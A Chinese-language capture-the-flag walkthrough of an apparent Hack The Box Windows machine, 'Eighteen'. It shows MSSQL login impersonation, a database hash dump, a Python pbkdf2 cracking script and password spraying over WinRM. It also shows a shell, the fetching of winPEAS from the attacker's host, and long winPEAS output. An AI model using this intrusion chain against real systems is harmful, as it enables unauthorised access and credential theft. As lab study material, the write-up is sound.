首先信息收集

sudo nmap -O -A -Pn -T3 -p- 10.10.11.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 07:20 UTC
Nmap scan report for ip-10-10-11-95.ap-southeast-1.compute.internal (10.10.11.95)
Host is up (0.025s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2025-11-16T09:34:43+00:00; +2h11m12s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T09:32:40
|_Not valid after:  2055-11-16T09:32:40
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2h11m11s

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   42.04 ms ip-10-10-16-1.ap-southeast-1.compute.internal (10.10.16.1)
2   42.10 ms ip-10-10-11-95.ap-southeast-1.compute.internal (10.10.11.95)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.75 seconds

这里是开启了80 和 1433 还有5985 三个端口服务,其中1443是sql server ,而5985则是winrm远程登陆 是http,这里首先已经给出了一个账户密码

kevin / iNa2we6haRj2gaw!

所以可以直接尝试连接

impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.10.11.95'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (kevin  guest@master)> 

但是这里是一个guest 用户,权限比较低,这里进行查询

SQL (kevin  guest@master)> SELECT SYSTEM_USER, USER_NAME();
                
-----   -----   
guest   guest   

SQL (kevin  guest@master)> SELECT name FROM master.dbo.sysdatabases;
name                
-----------------   
master              

tempdb              

model               

msdb                

financial_planner   

SQL (kevin  guest@master)> use financial_planner
[-] ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.

这里可以发现 financial_planner 使用kevin是没办法访问的,所以去查询所有账户

SQL (kevin  guest@master)> SELECT name AS LoginName, type_desc AS AccountType FROM sys.server_principals WHERE type_desc NOT IN ('SERVER_ROLE', 'ASYMMETRIC_KEY', 'CERTIFICATE') ORDER BY name;
LoginName   AccountType   
---------   -----------   
appdev      SQL_LOGIN     

kevin       SQL_LOGIN     

sa          SQL_LOGIN

这里使用nxc

nxc mssql -u kevin -p iNa2we6haRj2gaw! -M enum_impersonate 10.10.11.95 --local-auth
MSSQL       10.10.11.95     1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.10.11.95     1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw! 
ENUM_IMP... 10.10.11.95     1433   DC01             [+] Users with impersonation rights:
ENUM_IMP... 10.10.11.95     1433   DC01             [*]   - appdev

然后

SQL (kevin  guest@master)> EXECUTE AS LOGIN = 'appdev';
SQL (appdev  appdev@master)>

这个时候就发现可以进行冒充,那么就可以接着查询了

SQL (appdev  appdev@master)> SELECT name FROM master.dbo.sysdatabases;
name                
-----------------   
master              

tempdb              

model               

msdb                

financial_planner   

SQL (appdev  appdev@master)> use financial_planner
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
[*] INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev  appdev@financial_planner)> SELECT name FROM sys.tables;
name          
-----------   
users         

incomes       

expenses      

allocations   

analytics     

visits

发现有用户,那么就可以直接进行提取用户

SQL (appdev  appdev@financial_planner)> SELECT * FROM users;
  id   full_name   username   email                password_hash                                                                                            is_admin   created_at   
----   ---------   --------   ------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133          1   2025-10-29 05:39:03 

这里就可以尝试破解了,这里我尝试使用hashcat和john破解不出来,后面看了一下是Werkzeug(Flask)hash,于是写了一个python脚本

cat sha.py    
#!/usr/bin/env python3
import hashlib
from multiprocessing import Pool, cpu_count

def check_password(password):
    try:
        computed = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt.encode('utf-8'), iterations)
        if computed.hex() == target_hash:
            return password
    except:
        pass
    return None

if __name__ == "__main__":
    # 哈希参数
    salt = "AMtzteQIG7yAbZIa"
    iterations = 600000
    target_hash = "0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"

    # 加载密码字典
    wordlist_path = "rockyou.txt"
    print(f"Loading wordlist from {wordlist_path}...")
    with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
        passwords = [line.strip() for line in f]

    print(f"Loaded {len(passwords)} passwords. Starting brute-force with {cpu_count()} processes...")

    # 多进程破解
    with Pool(processes=cpu_count()) as pool:
        for result in pool.imap_unordered(check_password, passwords, chunksize=1000):
            if result:
                print(f"[+] Password found: {result}")
                pool.terminate()
                break
        else:
            print("[-] Password not found in wordlist.")


就破解出来一个密码,但是这里尝试了admin之后当作账户之后发现登陆不上winrm,想起来去获取一些账户信息了

 nxc mssql 10.10.11.95 -u kevin -p iNa2we6haRj2gaw! --rid-brute --local-auth
MSSQL       10.10.11.95     1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.10.11.95     1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw! 
MSSQL       10.10.11.95     1433   DC01             498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL       10.10.11.95     1433   DC01             500: EIGHTEEN\Administrator
MSSQL       10.10.11.95     1433   DC01             501: EIGHTEEN\Guest
MSSQL       10.10.11.95     1433   DC01             502: EIGHTEEN\krbtgt
MSSQL       10.10.11.95     1433   DC01             512: EIGHTEEN\Domain Admins
MSSQL       10.10.11.95     1433   DC01             513: EIGHTEEN\Domain Users
MSSQL       10.10.11.95     1433   DC01             514: EIGHTEEN\Domain Guests
MSSQL       10.10.11.95     1433   DC01             515: EIGHTEEN\Domain Computers
MSSQL       10.10.11.95     1433   DC01             516: EIGHTEEN\Domain Controllers
MSSQL       10.10.11.95     1433   DC01             517: EIGHTEEN\Cert Publishers
MSSQL       10.10.11.95     1433   DC01             518: EIGHTEEN\Schema Admins
MSSQL       10.10.11.95     1433   DC01             519: EIGHTEEN\Enterprise Admins
MSSQL       10.10.11.95     1433   DC01             520: EIGHTEEN\Group Policy Creator Owners
MSSQL       10.10.11.95     1433   DC01             521: EIGHTEEN\Read-only Domain Controllers
MSSQL       10.10.11.95     1433   DC01             522: EIGHTEEN\Cloneable Domain Controllers
MSSQL       10.10.11.95     1433   DC01             525: EIGHTEEN\Protected Users
MSSQL       10.10.11.95     1433   DC01             526: EIGHTEEN\Key Admins
MSSQL       10.10.11.95     1433   DC01             527: EIGHTEEN\Enterprise Key Admins
MSSQL       10.10.11.95     1433   DC01             528: EIGHTEEN\Forest Trust Accounts
MSSQL       10.10.11.95     1433   DC01             529: EIGHTEEN\External Trust Accounts
MSSQL       10.10.11.95     1433   DC01             553: EIGHTEEN\RAS and IAS Servers
MSSQL       10.10.11.95     1433   DC01             571: EIGHTEEN\Allowed RODC Password Replication Group
MSSQL       10.10.11.95     1433   DC01             572: EIGHTEEN\Denied RODC Password Replication Group
MSSQL       10.10.11.95     1433   DC01             1000: EIGHTEEN\DC01$
MSSQL       10.10.11.95     1433   DC01             1101: EIGHTEEN\DnsAdmins
MSSQL       10.10.11.95     1433   DC01             1102: EIGHTEEN\DnsUpdateProxy
MSSQL       10.10.11.95     1433   DC01             1601: EIGHTEEN\mssqlsvc
MSSQL       10.10.11.95     1433   DC01             1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL       10.10.11.95     1433   DC01             1603: EIGHTEEN\HR
MSSQL       10.10.11.95     1433   DC01             1604: EIGHTEEN\IT
MSSQL       10.10.11.95     1433   DC01             1605: EIGHTEEN\Finance
MSSQL       10.10.11.95     1433   DC01             1606: EIGHTEEN\jamie.dunn
MSSQL       10.10.11.95     1433   DC01             1607: EIGHTEEN\jane.smith
MSSQL       10.10.11.95     1433   DC01             1608: EIGHTEEN\alice.jones
MSSQL       10.10.11.95     1433   DC01             1609: EIGHTEEN\adam.scott
MSSQL       10.10.11.95     1433   DC01             1610: EIGHTEEN\bob.brown
MSSQL       10.10.11.95     1433   DC01             1611: EIGHTEEN\carol.white
MSSQL       10.10.11.95     1433   DC01             1612: EIGHTEEN\dave.green

这里保存为users.txt 进行枚举,成功拿到了账户

 nxc winrm 10.10.11.95  -u users.txt -p iloveyou1
WINRM       10.10.11.95     5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) 
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Enterprise Read-only Domain Controllers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Administrator:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Guest:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\krbtgt:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Domain Admins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Domain Users:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Domain Guests:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Domain Computers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Domain Controllers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Cert Publishers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Schema Admins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Enterprise Admins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Group Policy Creator Owners:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Read-only Domain Controllers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Cloneable Domain Controllers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Protected Users:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Key Admins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Enterprise Key Admins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Forest Trust Accounts:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\External Trust Accounts:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\RAS and IAS Servers:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Allowed RODC Password Replication Group:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Denied RODC Password Replication Group:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\DC01$:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\DnsAdmins:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\DnsUpdateProxy:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\mssqlsvc:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\SQLServer2005SQLBrowserUser:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\HR:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\IT:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\Finance:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\jamie.dunn:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\jane.smith:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] EIGHTEEN\alice.jones:iloveyou1
WINRM       10.10.11.95     5985   DC01             [+] EIGHTEEN\adam.scott:iloveyou1 (Pwn3d!)

然后就可以进行登陆了

evil-winrm -i 10.10.11.95 -u adam.scott@eighteen.htb -p iloveyou1
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.scott\Documents>

首先进行信息收集,这里使用工具 winPEAS.bat ,在本地开启pthon服务,让机器可以下载文件

Invoke-WebRequest -Uri 'http://10.10.16.69:8000/winPEAS.bat' -OutFile "$env:USERPROFILE\Desktop\winPEAS.bat"

这里我选择直接下载到桌面,平时绝对不要下载到桌面,然后运行,将结果保存到文件中

*Evil-WinRM* PS C:\Users\adam.scott\Desktop> ./winPEAS.bat > win.txt

然后下载收集到的信息

*Evil-WinRM* PS C:\Users\adam.scott\Desktop> download win.txt
                                        
Info: Downloading C:\Users\adam.scott\Desktop\win.txt to win.txt
                                        
Info: Download successful!

查看收集到的信息


            0x1B[32m((,.,/((((((((((((((((((((/,  */0x1B[97m
     0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m
   0x1B[32m,*/((((((((((((((((((/,  0x1B[92m.*//((//**,0x1B[32m .*((((((*0x1B[97m
   0x1B[32m((((((((((((((((* 0x1B[94m*****0x1B[32m,,,/########## 0x1B[32m.(* ,((((((0x1B[97m
   0x1B[32m(((((((((((/* 0x1B[94m******************0x1B[32m/####### 0x1B[32m.(. ((((((0x1B[97m
   0x1B[32m((((((.0x1B[92m.0x1B[94m******************0x1B[97m/@@@@@/0x1B[94m***0x1B[92m/######0x1B[32m /((((((0x1B[97m
   0x1B[32m,,.0x1B[92m.0x1B[94m**********************0x1B[97m@@@@@@@@@@(0x1B[94m***0x1B[92m,####0x1B[32m ../(((((0x1B[97m
   0x1B[32m, ,0x1B[92m0x1B[94m**********************0x1B[97m#@@@@@#@@@@0x1B[94m*********0x1B[92m##0x1B[32m((/ /((((0x1B[97m
   0x1B[32m..((0x1B[92m(##########0x1B[94m*********0x1B[97m/#@@@@@@@@@/0x1B[94m*************0x1B[32m,,..((((0x1B[97m
   0x1B[32m.((0x1B[92m(################(/0x1B[94m******0x1B[97m/@@@@@#0x1B[94m****************0x1B[32m.. /((0x1B[97m
   0x1B[32m.(0x1B[92m(########################(/0x1B[94m************************0x1B[32m..*(0x1B[97m
   0x1B[32m.(0x1B[92m(#############################(/0x1B[94m********************0x1B[32m.,(0x1B[97m
   0x1B[32m.(0x1B[92m(##################################(/0x1B[94m***************0x1B[32m..(0x1B[97m
   0x1B[32m.(0x1B[92m(######################################(0x1B[94m************0x1B[32m..(0x1B[97m
   0x1B[32m.(0x1B[92m(######(,.***.,(###################(..***(/0x1B[94m*********0x1B[32m..(0x1B[97m
   0x1B[32m.(0x1B[92m(######*(#####((##################((######/(0x1B[94m********0x1B[32m..(0x1B[97m
   0x1B[32m.(0x1B[92m(##################(/**********(################(0x1B[94m**0x1B[32m...(0x1B[97m
   0x1B[32m.((0x1B[92m(####################/*******(###################0x1B[32m.((((0x1B[97m
   0x1B[32m.((((0x1B[92m(############################################/0x1B[32m  /((0x1B[97m
   0x1B[32m..((((0x1B[92m(#########################################(0x1B[32m..(((((.0x1B[97m
   0x1B[32m....((((0x1B[92m(#####################################(0x1B[32m .((((((.0x1B[97m
   0x1B[32m......((((0x1B[92m(#################################(0x1B[32m .(((((((.0x1B[97m
   0x1B[32m(((((((((. ,0x1B[92m(############################(0x1B[32m../(((((((((.0x1B[97m
       0x1B[32m(((((((((/,  0x1B[92m,####################(0x1B[32m/..((((((((((.0x1B[97m
             0x1B[32m(((((((((/,.  0x1B[92m,*//////*,.0x1B[32m ./(((((((((((.0x1B[97m
                0x1B[32m(((((((((((((((((((((((((((/0x1B[97m
                       by carlospolop


/!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
   0x1B[41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.0x1B[40;97m
   0x1B[41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.0x1B[40;97m
   0x1B[41mUse it at your own networks and/or with the network owner's permission.0x1B[40;97m

0x1B[32m[*]0x1B[97m BASIC SYSTEM INFO
 0x1B[33m[+]0x1B[97m WINDOWS OS
   [i] Check for vulnerabilities for the OS version with the applied patches
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits



 0x1B[33m[+]0x1B[97m DATE and TIME
   [i] You may need to adjust your local date/time to exploit some vulnerability
Wed 11/19/2025 
12:50 AM

 0x1B[33m[+]0x1B[97m Audit Settings
   [i] Check what is being logged


 0x1B[33m[+]0x1B[97m WEF Settings
   [i] Check where are being sent the logs

 0x1B[33m[+]0x1B[97m Legacy Microsoft LAPS installed?
   [i] Check what is being logged

 0x1B[33m[+]0x1B[97m Windows LAPS installed?
   [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory

 0x1B[33m[+]0x1B[97m LSA protection?
   [i] Active if "1"


 0x1B[33m[+]0x1B[97m Credential Guard?
   [i] Active if "1" or "2"



 0x1B[33m[+]0x1B[97m WDigest?
   [i] Plain-text creds in memory if "1"

 0x1B[33m[+]0x1B[97m Number of cached creds
   [i] You need System-rights to extract them

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    CACHEDLOGONSCOUNT    REG_SZ    10

 0x1B[33m[+]0x1B[97m UAC Settings
   [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
   [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1


 0x1B[33m[+]0x1B[97m Registered Anti-Virus(AV)

Checking for defender whitelisted PATHS

 0x1B[33m[+]0x1B[97m PowerShell settings
PowerShell v2 Version:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
    PowerShellVersion    REG_SZ    2.0

PowerShell v5 Version:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine
    PowerShellVersion    REG_SZ    5.1.26100.1882

Transcriptions Settings:
Module logging settings:
Scriptblog logging settings:

PS default transcript history

Checking PS history file

 0x1B[33m[+]0x1B[97m MOUNTED DISKS
   [i] Maybe you find something interesting


 0x1B[33m[+]0x1B[97m ENVIRONMENT
   [i] Interesting information?

ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\adam.scott\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=DC01
ComSpec=C:\WINDOWS\system32\cmd.exe
CurrentFolder=C:\Users\adam.scott\Desktop\
CurrentLine= 0x1B[33m[+]0x1B[97m ENVIRONMENT
DriverData=C:\Windows\System32\Drivers\DriverData
E=0x1B[
expl=no
LOCALAPPDATA=C:\Users\adam.scott\AppData\Local
long=false
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Program Files\Python312\Scripts\;C:\Program Files\Python312\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\DTS\Binn\;C:\Users\adam.scott\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.PYW;.CPL
Percentage=1
PercentageTrack=20
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
PROCESSOR_LEVEL=25
PROCESSOR_REVISION=0101
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Users\adam.scott\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\PowerShell\Modules\
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\Users\ADAM~1.SCO\AppData\Local\Temp
TMP=C:\Users\ADAM~1.SCO\AppData\Local\Temp
USERDNSDOMAIN=eighteen.htb
USERDOMAIN=EIGHTEEN
USERNAME=adam.scott
USERPROFILE=C:\Users\adam.scott
windir=C:\WINDOWS

 0x1B[33m[+]0x1B[97m INSTALLED SOFTWARE
   [i] Some weird software? Check for vulnerabilities in unknow software installed
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications

Common Files
Common Files
Internet Explorer
Internet Explorer
Microsoft
Microsoft SQL Server
Microsoft SQL Server
Microsoft Visual Studio 10.0
Microsoft.NET
Microsoft.NET
ModifiableWindowsApps
Python312
Reference Assemblies
Reference Assemblies
VMware
Windows Defender
Windows Defender
Windows Defender Advanced Threat Protection
WindowsPowerShell
WindowsPowerShell
    InstallLocation    REG_SZ    C:\Program Files\VMware\VMware Tools\

 0x1B[33m[+]0x1B[97m Remote Desktop Credentials Manager
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager

 0x1B[33m[+]0x1B[97m WSUS
   [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus

 0x1B[33m[+]0x1B[97m RUNNING PROCESSES
   [i] Something unexpected is running? Check for vulnerabilities
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes

   [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)

   [i] Checking directory permissions of running processes (DLL injection)

 0x1B[33m[+]0x1B[97m RUN AT STARTUP
   [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\desktop.ini BUILTIN\Administrators:(F)
 
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini BUILTIN\Administrators:(F)
 

Folder: \
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\.NET Framework
.NET Framework NGEN v4.0.30319           N/A                    Ready          
.NET Framework NGEN v4.0.30319 64        N/A                    Ready          

Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
AD RMS Rights Policy Template Management N/A                    Ready          

Folder: \Microsoft\Windows\AppID

Folder: \Microsoft\Windows\Application Experience
SdbinstMergeDbTask                       N/A                    Ready          

Folder: \Microsoft\Windows\Chkdsk
ProactiveScan                            N/A                    Ready          
SyspartRepair                            N/A                    Ready          

Folder: \Microsoft\Windows\Customer Experience Improvement Program
Consolidator                             11/19/2025 6:00:00 AM  Ready          

Folder: \Microsoft\Windows\Data Integrity Scan
Data Integrity Check And Scan            11/19/2025 11:40:13 PM Ready          
Data Integrity Scan                      N/A                    Ready          
Data Integrity Scan for Crash Recovery   N/A                    Ready          

Folder: \Microsoft\Windows\Defrag
ScheduledDefrag                          N/A                    Ready          

Folder: \Microsoft\Windows\Device Information
Device                                   11/19/2025 4:13:59 AM  Ready          
Device User                              N/A                    Ready          

Folder: \Microsoft\Windows\ExploitGuard
ExploitGuard MDM policy Refresh          N/A                    Ready          

Folder: \Microsoft\Windows\Flighting
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Flighting\FeatureConfig
ReconcileConfigs                         N/A                    Ready          
ReconcileFeatures                        N/A                    Ready          
UsageDataFlushing                        N/A                    Ready          
UsageDataReceiver                        N/A                    Ready          
UsageDataReporting                       N/A                    Ready          

Folder: \Microsoft\Windows\Flighting\OneSettings
RefreshCache                             11/19/2025 3:10:04 AM  Ready          

Folder: \Microsoft\Windows\Hotpatch
Monitoring                               11/19/2025 3:19:36 AM  Ready          

Folder: \Microsoft\Windows\MUI
LPRemove                                 N/A                    Ready          

Folder: \Microsoft\Windows\PLA

Folder: \Microsoft\Windows\Plug and Play
Device Install Group Policy              N/A                    Ready          
Device Install Reboot Required           N/A                    Ready          
Sysprep Generalize Drivers               N/A                    Ready          

Folder: \Microsoft\Windows\ReFsDedupSvc
Initialization                           N/A                    Ready          

Folder: \Microsoft\Windows\Server Manager
CleanupOldPerfLogs                       N/A                    Ready          

Folder: \Microsoft\Windows\Servicing
StartComponentCleanup                    N/A                    Ready          

Folder: \Microsoft\Windows\Shell
CreateObjectTask                         N/A                    Ready          

Folder: \Microsoft\Windows\Software Inventory Logging
Configuration                            N/A                    Ready          

Folder: \Microsoft\Windows\SpacePort
SpaceAgentTask                           N/A                    Ready          
SpaceManagerTask                         N/A                    Ready          

Folder: \Microsoft\Windows\StateRepository
MaintenanceTasks                         N/A                    Ready          

Folder: \Microsoft\Windows\Storage Tiers Management
Storage Tiers Management Initialization  N/A                    Ready          

Folder: \Microsoft\Windows\TextServicesFramework
MsCtfMonitor                             N/A                    Ready          

Folder: \Microsoft\Windows\Time Synchronization
SynchronizeTime                          N/A                    Ready          

Folder: \Microsoft\Windows\Time Zone
SynchronizeTimeZone                      N/A                    Ready          

Folder: \Microsoft\Windows\Windows Error Reporting
QueueReporting                           11/19/2025 4:45:22 AM  Ready          

Folder: \Microsoft\Windows\Windows Filtering Platform
BfeOnServiceStartTypeChange              N/A                    Ready          

Folder: \Microsoft\Windows\WindowsUpdate
Scheduled Start                          N/A                    Ready          

Folder: \Microsoft\Windows\Wininet
CacheTask                                N/A                    Ready          

 0x1B[33m[+]0x1B[97m AlwaysInstallElevated?
   [i] If '1' then you can install a .msi file with admin privileges ;)
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1

0x1B[32m[*]0x1B[97m NETWORK
 0x1B[33m[+]0x1B[97m CURRENT SHARES

 0x1B[33m[+]0x1B[97m INTERFACES

Windows IP Configuration

   Host Name . . . . . . . . . . . . : DC01
   Primary Dns Suffix  . . . . . . . : eighteen.htb
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : eighteen.htb
                                       htb

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-B9-7C-1E
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : dead:beef::d2e0:49f1:98bb:efc8(Preferred) 
   Link-local IPv6 Address . . . . . : fe80::ce16:4869:d1d:d08c%3(Preferred) 
   IPv4 Address. . . . . . . . . . . : 10.10.11.95(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:2397%3
                                       10.10.10.2
   DHCPv6 IAID . . . . . . . . . . . : 117461078
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-30-AF-30-4B-00-50-56-B9-7C-1E
   DNS Servers . . . . . . . . . . . : ::1
                                       127.0.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled
   Connection-specific DNS Suffix Search List :
                                       htb

 0x1B[33m[+]0x1B[97m USED PORTS
   [i] Check for services restricted from the outside
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
